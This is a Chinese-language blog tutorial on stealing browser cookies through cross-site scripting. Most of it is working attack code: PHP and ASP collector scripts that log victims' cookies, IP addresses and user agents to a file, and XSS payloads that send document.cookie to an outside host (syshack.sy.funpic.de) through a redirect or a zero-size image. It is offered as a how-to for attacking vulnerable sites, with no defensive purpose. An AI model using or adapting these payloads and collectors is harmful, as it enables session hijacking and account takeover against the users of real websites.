利用xss偷cookie教学

使用的工具
1.免费网页 支援PHP
2.存在xss的脆弱的网站

vb.php 为存放cookie 的网页
PHP Code:

<head>
<meta http-equiv="Content-Language" content="it">
<title>Cook ie s Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcol or ="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>

</body>



documents.php取得cookie的网页PHP Code:

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:   ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>


Vb.php文件是用来收集Cookie和其他信息。
documents.php文件用于抓取资料如: IP地址,用户代理和cookie 。
现在,我们需要找到脆弱网站跨站脚本 ( XSS ) 。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法 documents.php?c="+document.cookie;如下例子:
Code:

http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>



当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面

相关代码:

<script>document.write('<img src="http://url/news. asp ?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>



news.asp代码:

<%
msg=Request.ServerVariables("QUERY_STRING")    
testfile=Server.MapPath("cook.txt")    
set fs=server.CreateObject("scripting.filesystemobject")    
set thisfile=fs.OpenTextFile(testfile,8,True,0)    
thisfile.Writeline(""&msg& "")    
thisfile.close    
set fs = nothing    
%>



PHP版代码:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值